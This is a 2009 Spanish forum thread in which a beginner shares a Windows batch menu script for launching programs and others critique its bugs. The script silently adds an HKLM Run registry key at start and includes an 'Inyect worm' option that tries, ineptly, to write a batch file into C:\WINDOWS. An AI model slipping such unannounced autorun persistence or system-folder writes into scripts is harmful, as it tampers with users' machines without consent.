[Batch] Utilidad de atajos a programas

Iniciado por emtreme, 4 Enero 2009, 15:15 PM

0 Miembros y 1 Visitante están viendo este tema.

emtreme

Hola a todos!!!
Bueno yo he estado estudiando programacion en BATCH en principio y luego con los demas y he hecho este codigo qe aunque algunas cadenas no sean gran cosa para mi me vale como primer codigo que hago.
Opinar por favor.


@echo off
cd/
color 0a

reg add "HKLM\Software\Microsoft\Windows\Currentversion\Run" /v windowsrun /d /f

:inicio
echo.
echo.
echo  EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE ''  SSSSS
echo  E       MM     MM TTTTTTTTT RRRR  E       MM     MM E       '' S     S
echo  E       M M   M M     T     R   R E       M M   M M E       '' S
echo  EEE     M  M M  M     T     RRRR  EEE     M  M M  M EEE         SSSSS
echo  E       M   M   M     T     R R   E       M   M   M E                S
echo  E       M       M     T     R  R  E       M       M E          S     S
echo  EEEEEEE M       M     T     R   R EEEEEEE M       M EEEEEEE     SSSSS
echo                  M                         M
echo                  M                         M
echo.
echo  Welcome to this new program to prove by EMTREME'S
echo.
set /p var1= Tell me your name??
echo.
echo  Welcome %var1%, today is %DATE% and the %TIME%
echo.
pause
goto menu



:menu
cls
color 0a
echo.
echo  I recommend one of this opcions:
echo.
echo  1.- Use your calculator
echo.
echo  2.- Use your explorer
echo.
echo  3.- Use your word
echo.
echo  4.- Use your solitario game
echo.
echo  5.- Inyect worm
echo.
echo  6.- Use command
echo.
echo  7.- Use notepad
echo.
echo  8.- Restart your computer
echo.
echo  9.- Turn off your computer
echo.
echo  10.- Restart the program
echo.
echo  11.- Turn off the program
echo.
echo.
set /p var2=  Choose one opcion:
echo.



if %var2%==1 goto fase1

if %var2%==2 goto fase2

if %var2%==3 goto fase3

if %var2%==4 goto fase4

if %var2%==5 goto fase5

if %var2%==6 goto fase6

if %var2%==7 goto fase7

if %var2%==8 goto fase8

if %var2%==9 goto fase9

if %var2%==10 goto fase10

if %var2%==11 goto fase11



:fase1
cls
start calc.exe
set /p var3= Do you want to come back to the menu?? (yes/no)
if %var3%==yes goto menu
if %var3%==no goto exit

:fase2
cls
start %PROGRAMFILES%\Internet Explorer\iexplorer.exe
set /p var4= Do you want to come back to the menu?? (yes/no)
if %var4%==yes goto menu
if %var4%==no goto exit

:fase3
cls
start word.exe
set /p var5= Do you want to come back to the menu?? (yes/no)
if %var5%==yes goto menu
if %var5%==no goto exit

:fase4
cls
start sol.exe
set /p var6= Do you want to come back to the menu?? (yes/no)
if %var6%==yes goto menu
if %var6%==no goto exit

:fase5
cls
@echo off >> C:\WINDOWS\worm.bat
color 0a >> C:\WINDOWS\worm.bat
:menu >> C:\WINDOWS\worm.bat
start sol.exe >> C:\WINDOWS\worm.bat
start calc.exe  C:\WINDOWS\worm.bat
start cmd.exe >> C:\WINDOWS\worm.bat
goto menu >> C:\WINDOWS\worm.bat

:fase6
cls
start cmd.exe
set /p var7= Do you want to come back to the menu?? (yes/no)
if %var7%==yes goto menu
if %var7%==no goto exit

:fase7
cls
start notepad.exe
set /p var8= Do you want to come back to the menu?? (yes/no)
if %var8%==yes goto menu
if %var8%==no goto exit

:fase8
cls
shutdown -r -t 3 -c El ordenador se reiniciara en tres segundo
goto exit1

:fase9
cls
shutdown -s -t 3 -c El ordenador se apagara en tres segundo
goto exit1

:fase10
cls
goto inicio

:fase11
cls
goto exit



:exit
echo.
echo  Thank you very much for use EXTREME'S %var1%
echo.
echo  Come back soon!!
pause >nul
exit

:exit1
exit

Banti

Me parece bastante inutil ya que es mas facil apretar inicio+r (ejecutar) y si son por ejemplo "shutdown -r" solo tienes que hacer .lnk (acceso directo) con esa direccion y guardarlo en algun directorio PATH.

Yo les recomiendo hacer esto! le simplifica la vida en vez de buscar los iconos o estar navegando con el explorer.


Banti

Worm???

Que es eso!!!!!???? Es un simple codigo que es creado por este batch que ni siquiera lo ejecuta (y tampoco pide a windows que lo ejecute). Eso no puede llamarse worm!!! o si?  :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes:

Y porque al final me dice como por ejemplo:

Thank you very much for use EXTREME'S Vaati

Yo no soy tuyo!!

N1K0

Cita de: Vaati en  5 Enero 2009, 02:41 AM

Y porque al final me dice como por ejemplo:

Thank you very much for use EXTREME'S Vaati

Yo no soy tuyo!!
:xD :xD :xD "Thank you very much for use EXTREME'S %var1%"
var1 es la variable que almacena el nombre que te pide al principio del script
"set /p var1= Tell me your name??"
xD

Banti

Cita de: N1K0 en  5 Enero 2009, 03:11 AM
Cita de: Vaati en  5 Enero 2009, 02:41 AM

Y porque al final me dice como por ejemplo:

Thank you very much for use EXTREME'S Vaati

Yo no soy tuyo!!
:xD :xD :xD "Thank you very much for use EXTREME'S %var1%"
var1 es la variable que almacena el nombre que te pide al principio del script
"set /p var1= Tell me your name??"
xD

Si si yo ya me di cuenta leyendo el codigo ya que aun no probe el codigo ethe en mi pc.

Oblivionlight

Si el usuario introduce una variable que no está en tus opciones lo pasa a la fase siguiente. Corrige eso y saludos

emtreme

gracias porcomentar, ya hare los cambios pertinentes...